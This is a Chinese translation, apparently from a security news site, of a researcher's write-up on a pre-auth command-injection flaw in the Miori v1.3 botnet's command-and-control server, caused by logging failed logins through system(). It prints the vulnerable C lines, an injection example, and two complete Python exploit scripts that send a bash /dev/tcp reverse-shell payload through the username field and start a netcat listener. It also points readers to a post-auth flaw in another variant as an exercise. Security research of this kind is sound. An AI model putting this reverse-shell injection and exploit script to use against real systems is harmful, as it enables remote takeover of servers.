脚本小子的噩梦:看我如何黑掉僵尸网络

阅读量629915

|评论1

|

发布时间 : 2019-09-05 15:30:12

x
译文声明

本文是翻译文章,文章原作者 v3ded,文章来源:v3ded.github.io

原文地址:https://v3ded.github.io/pwn/hacking-botnets.html

译文仅供参考,具体内容表达以及含义原文为准。

 

0x00 前言

本文将分享如何攻破一些代码存在漏洞的僵尸网络,这些僵尸网络的操作者通常为脚本小子。

此前我并未接触过这些黑产,因此对鼎鼎大名的DoS社区(译者注:僵尸网络通常被用于发动大规模DoS攻击以谋利)知之甚少。最近因为写这篇文章而收集了一些信息。根据我的理解,主要有两个僵尸网络分别为:Qbot和Mirai,并且它们不断地被改进而出现了大量变种。根据调查,我发现某些人似乎想要对僵尸网络进行”升级“,添加更多功能例如登入失败后重试,新型的DoS方法和暴力破解。这些将成为僵尸网络的”卖点“(这意味着普通人只要有钱,就可以利用肉鸡做某些事情),有时候黑产从业者也会直接出售这些肉鸡。

 

0x01 概述

目前,大部分僵尸网络工具都使用C语言编写的,C语言强大而危险,如果它们是由没有安全意识的程序员编写,则可能会铸成大错 – 我们接下来将会介绍。 只要学过二进制开发的人,都知道这个语言中的一个小错误也可能会导致巨大的漏洞,例如不规范地调用printf()和错误计算缓冲区的内存分配。 在本文,我只会分享我在Qbot僵尸网络中发现的三个漏洞中的一个,并且但这个漏洞严重性最高。 如果你觉得我很小气,那你可能就属于下图中的人?

I’m sorry,开个玩笑。我不想跟小孩子争吵,毕竟小孩子总是可以在海量服务器中弹出shell。

我在Miori v1.3僵尸网络上发现了一个预认证(Pre-auth)远程代码执行漏洞,此漏洞正是由于不当的输入处理和错误的使用system()函数而导致。 我再次重申,这是一个预认证型的远程命令执行漏洞。 修改Qbot源码时,某些人成功犯下大错 – 也许下次他们应该只使用Python¯(ツ)/¯。

不管怎么说,如果我们利用此漏洞成功劫持服务器,那简直太丢人了 :)。

 

0x02 环境搭建

攻击者 僵尸网络服务器
系统 Linux Mint 64 bit CentOS 7 Minimal 64bit
IP地址 10.10.10.7 10.10.10.6
端口 X 666
应用 X Miori v1.3

下载地址

-> Linux Mint ISO
-> CentOS 7 ISO
-> Miori v1.3

Miori v1.3僵尸网络安装教程:

-> Switch Miori Botnet setup

注:安装脚本要使用yum来下载,因此这个僵尸网络服务器必须基于RedHat系统。

注:CentOS系统默认启用了防火墙。 如果无法连接如666之类的端口,可以通过“systemctl stop firewalld”将防火墙关闭,“systemctl disable firewalld”将其完全禁用。

 

0x03 代码

解压.zip压缩包:

对于我们来说有用的文件是cnc/cnc.c。 该文件中包含了僵尸网络“操作者”所需的主要功能,有登录,注册以及攻击等功能。具体参考下面这些图片。

登入和注册界面:

通过验证(Post-auth)后的界面:

从整体来看,该工具的UI界面实际上相当不错,肯定有人在上面花了很多时间。 但是他们没有在主代码上花费精力。 可以这样说,这是非常残酷的。 多个超大的char缓冲区,42个returns和3个exits…,可怕的缩进,标签和空格混合使用,76个goto语句(已经9012年了……真有这种事?)。在将来,代码中的漏洞也不会完全消失。 我猜测,如果开发者的主要目标制作一个看起来很酷的UI来赚钱,而不是制作代码美观和可靠的东西时,则会发生这种情况。 来看看代码是什么样的,请点击下图放大查看。

 

0x04 发现漏洞

其实在整个挖掘过程,我仔细查看了cnc.c中的代码,这令我我感到非常折磨。 在793和794行中,很容易就可以看出漏洞。

792 |   char flog[1024];
793 |   sprintf(flog,"echo "<--->nfailed login with cred --> %s:%s n[victems ip] nip --> %s n<--->" >> failed.txt",iffailedu,iffailedp,ipl);
794 |   system(flog);

你看,这家伙使用iffaileduiffailedp代表登入失败的用户名和密码。 这表示登入失败后仍可以不断尝试。 这个想法还可以,但实施起来漏洞百出。 开发者使用了system()函数代替C的文件I/O函数。 为什么?答案很简单:

引用Subby的一句话:

其实很容易可以知道为什么会这样?很大一部分僵尸网络操作者都是从社区教程中学习,或者看看YouTube上的僵尸网络视频。

通常情况下上述中问题可能会导致缓冲区溢出,因为flog分配了1024个字节,但iffaileduiffailedp最多可达2048个字节。 并且都是基于第637行的buf变量和下面的strcpy()方法。 然而,更有趣的漏洞在后头。

 

0x05 Exploitation

转义system()函数中调用的echo命令,可以进行命令盲注。 这里我只使用username来简化攻击场景。

char data[1024];
sprintf(data,"echo "Failed login with username %sn" >> failed.txt",username);
system(data);

如果用户使用不存在的用户名登入(例如jack),系统会自动执行echo“Failed login with username jack”>> failed.txt

入侵者可以通过往用户名(或密码)中插入恶意字符,从而达到命令执行的目的。 例如输入:v3ded"; touch /tmp/hacked; #. 系统则会运行命令echo "Failed login with username v3ded"; touch /tmp/hacked; #" >> failed.txt。 在linux bash中,#作为注释使用可以注释掉其余的命令。 因此入侵者的命令不会被记录到failed.txt。SSH连接服务器,可以看到tmp目录下确实被写入了新文件。

操作者视角:

这个错误的日志记录应当警醒脚本小子们,但考虑到缺乏技术知识,我有点怀疑他们是否理解此漏洞。让我们继续,下面我讲分享使用clear命令来隐藏错误日志。

 

0x06 Python shell

让我们首先提供所需库,确定套接字(socket),然后将其与我们服务器端口连接。

import socket
import os
import sys
from time import sleep

if(len(sys.argv) != 5):
    exit("Usage:ntpython3 {} C2_IP C2_PORT LHOST LPORT".format(sys.argv[0]))

C2_IP   = sys.argv[1]
C2_PORT = sys.argv[2]
LHOST   = sys.argv[3]
LPORT   = sys.argv[4]

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((C2_IP, int(C2_PORT)))
Afterwards we need to simulate the login process. We can do that by simply sending 3 messages to the server - login, username payload and password respectively.

CMD = "sh -i >& /dev/tcp/{}/{} 0>&1".format(LHOST, LPORT) # Payload

print("Simulating a login command.")
sock.send(bytes("loginrn", "utf-8"))    

sleep(1)
print("Sending the payload.")
sock.send(bytes('user";clear; {} ;# rn'.format(CMD),"utf-8")) # Hiding the error output with ;clear

sock.send(bytes('Press F to pay respects.rn',"utf-8")) # Password doesn't matter
sleep(1)

可以看到,bash/dev/tcp/结合可以构造反向shell。 可以看到每个命令都会发送包含回车符(r)和换行符(n)。 重要的一点,如果没有结合CRLF(回车换行),则无法利用漏洞。

注意:CentOS没有自带netcat。 如果要使用shell或下载数据,需要安装它。

#!/usr/env/python3

import socket
import os
import sys
import threading
from time import sleep

def Listen(port):
    os.system("nc -nlvp {}".format(port))

if(len(sys.argv) != 5):
    exit("Usage:ntpython3 {} C2_IP C2_PORT LHOST LPORT".format(sys.argv[0]))

C2_IP   = sys.argv[1]
C2_PORT = sys.argv[2]
LHOST   = sys.argv[3]
LPORT   = sys.argv[4]

CMD  = "sh -i >& /dev/tcp/{}/{} 0>&1".format(LHOST, LPORT)

try:    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((C2_IP, int(C2_PORT)))        

    print("Simulating a login command.")
    sock.send(bytes("loginrn", "utf-8"))    

    sleep(1)
    print("Sending the payload.")
    sock.send(bytes('user";clear; {} ;# rn'.format(CMD),"utf-8"))

    sock.send(bytes('Press F to pay respects.rn',"utf-8"))
    sleep(1)

    t = threading.Thread(target=Listen, args=(int(sys.argv[4]),))
    t.start()

except Exception as err:
    exit(str(err))

Ok,现在我们可以尝试攻击僵尸网络,如果成功则会有以下画面:

很酷是吧? 如果操作者在恰当端口上正确配置,那僵尸网络的运行身份不会是root。 但是,由于各种服务提供商都默认使用root用户,并且我们的脚本小子们只会复制粘贴不知道他们在做什么的情况下,我打赌你那到的shell大多数都是root权限。

 

0x07 后记

当我写这篇博客时,又一个名为switchware的Qbot变种发布了。我没有深入研究代码,但发现了后认证(post-auth)RCE漏洞。 这个漏洞利用起来有些麻烦,因为缓冲区限制50个字节,但已利用45个字节。 如果本文热度还可以,我会再写一篇文章分享它: )。你可以尝试把它当作一次训练,攻破它。 存在漏洞代码在第557,558和566行。

Poc:

 

0x08 参考

Miori src: here
Miori exploit: here

Switchware src: here
Switchware exploit: N/A

本文翻译自v3ded.github.io 原文链接。如若转载请注明出处。
分享到:微信
+122赞
收藏
NullCoopX
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66